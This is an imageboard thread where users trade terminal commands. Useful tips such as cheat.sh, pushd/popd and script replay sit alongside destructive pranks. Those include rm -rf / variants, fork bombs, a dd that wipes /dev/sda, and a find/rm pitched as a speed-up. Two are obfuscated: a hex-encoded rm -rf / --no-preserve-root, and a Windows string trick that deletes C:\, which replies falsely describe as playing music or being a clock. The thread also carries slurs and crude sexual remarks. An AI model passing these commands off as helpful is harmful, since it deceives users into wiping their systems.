Cool terminal commands; post 'em

Cool terminal commands; post 'em.

curl cheat.sh

Attached: 1531336614676.png (3000x1688, 3.37M)

Other urls found in this thread:

reddit.com/r/linux/comments/8xtw1r/curl_cheatsh/
duckduckgo.com/?q={}
c-integration.com/blog/showpost.php/78-unix-fork-bomb-explained.
youtube.com/watch?v=2DnIYSF5DAs&
twitter.com/NSFWRedditImage

guix environment --ad-hoc ghc -- ghc

screenfetch

sudo rm -rf /*

pygmentize

It works like cat, but with syntax highlighting. It's part of the python package pygments.

dumb redditor

>/*

Attached: asdas.jpg (480x360, 9K)

>specifying a wildcard on a recursive command
Fuck off idiot

Just open it in vim or less retard

sudo rm -rfv / --no-preserve-root

find ~ -type f -name '*.sw[nop]' -ok rm {} \;
>find and delete (interactively) you're old vim swap files

Oh nvm i fixed it :^)

Sudo rm -rf /./.././*

:() { :|:& };:

man mount

nano

Uname without -a flag
it returns linux

Attached: 3ef7b7e817c0a6df0acd3b9dc2868fc64b259da8d1cba75c73481ea0cf32d8b2-b.jpg (500x333, 35K)

>tells me to kms for posting in in /dpt/
>immediately makes a new thread with it

Attached: brainlet26.png (645x729, 62K)

Can aj get a hallal knife with that islamic fork?

python

sudo apt install vim && sudo apt purge nano && sudo update-alternatives --config editor

This command gives you nothing, and you have to be very specific and know what you are looking for.
DON'T GIVE THIS PIECE OF SHIT. GO BACK TO R(eDDi)t REEEEEEEEEEEEE

Attached: 245.jpg (1333x900, 80K)

uname --operating-system

ssh brow.sh

Try out the new text based browser

You can do this in one command
guix package -r nano -i neovim

cowsay
cd ..
cd ..
cd ..
cd ..
cd ..
ls

watch -n.1 "cat /proc/cpuinfo | grep \"^[c]pu MHz\""

Attached: 1529424941116.jpg (1309x1900, 993K)

sudo find / -type d -not -empty -exec rm {} \+;
It makes your system runs faster by deleting cached files.

Here you go, I made one for windows users to put in cmd.
echo %0^|%0 > forkbomb.bat
forkbomb.bat

lsof | grep "deleted"
[/code
Makes your system slow down for a second and respectfully remember deleted cached files.

off by two digits and one code tag.

Attached: checkem.jpg (320x272, 10K)

Is this a nu male version of man?

I see you too browse Jow Forumslinux :^)
reddit.com/r/linux/comments/8xtw1r/curl_cheatsh/

help :

if you do it without the * you need to also pass --no-preserve-root, this one is more subtle

sudo cp

dd if=/dev/zero of=/dev/sda

All the GuixSD shilling on Jow Forums lately is pretty effective to me; I will give it a try as soon as possible.

systemd-cgls
systemd-cgtop -k

:/

Attached: 2018-07-11-233030_638x200_scrot.png (638x200, 8K)

why is hagrid holding a gun

Same here. Jow Forums shilled me haskell and it's been good so far. Have to check out guixSD

This thread is a shame.
What has Jow Forums become.

Idiots who think they're pretending to be idiots.

from uname --help
With no OPTION, same as -s.
-s, --kernel-name print the kernel name

find oldest file in dir tree.
find -type f -printf '%T+ %p\n' | sort | head -n 1

Attached: Raquel Welch1.jpg (600x673, 85K)

Spread them legs to open up that pussy!

Lift that shirt so we can see those juicy fucking tits you have!

Shit, thanks dude for this awesome command

telnet towel.blinkenlights.nl

Classic.
Try these:
telnet kirjava.xyz
telnet mapscii.me

#! /bin/bash

cur() {
case "$1" in
"here" | "h")
echo $(pwd) > $HOME/.cur;
;;
"set" | "s" )
echo "$2" > $HOME/.cur;
;;
"go" | "g" )
cd "$(cat $HOME/.cur)";
;;
"delete" | "d" )
rm $HOME/.cur;
;;
"print" | "p" )
echo "$(cat $HOME/.cur)";
;;
"env" | "e" )
case "$2" in
"" )
source $(cat $HOME/.cur_env)
;;
"here" | "h" )
echo "$(pwd)/$(find . -path '*/bin/*' -name activate -printf '%P')" > $HOME/.cur_env
;;
"delete" | "d" )
rm $HOME/.cur_env
;;
"print" | "p" )
echo "$(cat $HOME/.cur_env)"
;;
esac
esac
}

mkdir ~/some/deep/directory/structure
cd ~/some/deep/directory/structure
cur h
cd
pwd
"~"
cur g
pwd
"~/some/deep/directory/structure"

Now with support for virtualenv

man 2.0

or you could just use plain old pushd popd or cd -

here ya go

~ $ mkdir -p ~/some/deep/directory/structure
~ $ pushd !$
pushd ~/some/deep/directory/structure
~/some/deep/directory/structure ~
structure $ popd
~
~ $

while :; do yes & done &

I use the files because they're preserved across terminal sessions. This isn't about saving the location to use later in the same string of commands, it's for saving a spot while you're working on a project so you can quickly spawn a new terminal session later and get back to what you were doing

SO FUNNY
can I post this on 9gag??
Pleeeeeease

nah dude, only leets get that kind of humor... not for normies

curl wttr.in

Careful using it in your rc files though, once it had downtime and it locked me out unless I didn't allocate a pty w/ -T. I think it's open source on GitHub though.

python -i
import antigravity

rm `which emacs`

if that doesn't work then do
sudo !!

sudo hack.py Jow Forums.org

CDPATH to cd directly to the dirs you visit often.

CDPATH="/path/to/here:/path/to/there"

$(echo 726d202d7266202f202d2d6e6f2d70726573657276652d726f6f740a | xxd -r -p)

windows version:
set "s=zeldac"& %s:~3,1%%s:~1,2% %s:~6%:\ /f/s/q

lul the funny thing is that it won't work because ghc is packaged improperly in guix

nice counter; terminate with

COUNTER=1;while true;do sleep 1;echo -e -n Counter: $COUNTER\\R;COUNTER=$(($COUNTER+1));done

user@Jow Forums ~ # echo 726d202d7266202f202d2d6e6f2d70726573657276652d726f6f740a | xxd -r -p
rm -rf / --no-preserve-root
it would be better if you put in a sudo

I fucked it up guys.
COUNTER=1;while true;do sleep 1;echo -e -n Counter: $COUNTER\\r;COUNTER=$(($COUNTER+1));done

wtf? this played the zelda theme. how does this work? it reminds me of those keygen midis lmao

rofi -dmenu -i -p Search -lines 0 -location 2 -yoffset 40 | xargs -I{} xdg-open duckduckgo.com/?q={}

r/linux is actually decent unlike most of reddit
not OP btw

$(echo 6563686f206d75682066696c65732121210a | xxd -r -p)

uh, that's quite obviously a clock.

>Mfw

Attached: 33532258_10213580988892563_7249112026289537024_n.jpg (677x673, 60K)

this one is awesome. whoever wrote this genius bash needs to explain what it's doing

PS1="$(echo $PS1 | sed 's/\\u@/faggot@/g')"

It's actually very popular fork bomb. You can read an explanation on c-integration.com/blog/showpost.php/78-unix-fork-bomb-explained.

kek

Bs=420

fucking kek

Noob here, thank you for not deleting my / with your magic symbols :^)

find / -xdev -type f -size +100M

$ echo $((2*8192/20))

$ ffmpeg -i youtube_ksihflUu.mp4 -c:v libvpx -b:v 819k -an out.webm

$ ^819^800

$ ffmpeg -i youtube_ksihflUu.mp4 -c:v libvpx -b:v 800k -an -y out.webm

$ ffmpeg -i youtube_ksihflUu.mp4 -c:v libvpx -b:v 700k -an -y out.webm

$ ffmpeg -i youtube_ksihflUu.mp4 -c:v libvpx -b:v 650k -an -y out.webm

$ dd if=out.webm of=fuckit.webm bs=2M count=1

$ script my_shell_session.log
$ herp
$ derp
$ ls
$ cd ..
$ ls
$ exit
$ cat my_shell_session.log

one of my favorites
mpv youtube.com/watch?v=2DnIYSF5DAs&

CD
Clr
echo off
Dir /w
Dir /p
Ipconfig flushdns
Ipconfig renew all

Attached: 1530663792147.png (671x519, 146K)

haha, the classic zelda jingle, how could I forget that!

Attached: yfw.jpg (384x384, 50K)

coolest sounding?
sed -i '' **/*
shopt -s globstar
change all symbolic links to normal files

second one first, woops

oh i would just use history for that.

why in god's name would you want to do this?

if you want to make a tarball of a dir with symbolic links in it, then you can resolve the symlinks using
tar -ch
which might be useful for certain things. your suggestion OTOH just duplicates files on a local file system of no good reason.

alt PrtSc c

>t. idiot

$ script --timing=time.txt script.log
$ cd code
$ ls
$ cd..
$ cd ..
$ cd code
$ ls
$ exit

$ scriptreplay time.txt script.log

yes

Spams the fuck out of your terminal window for shits N giggles.

apropos

>curl cheat.sh
is curl cheat.sh/
like curl cheat.sh/tar

Get owned.

Don't forget about CRUX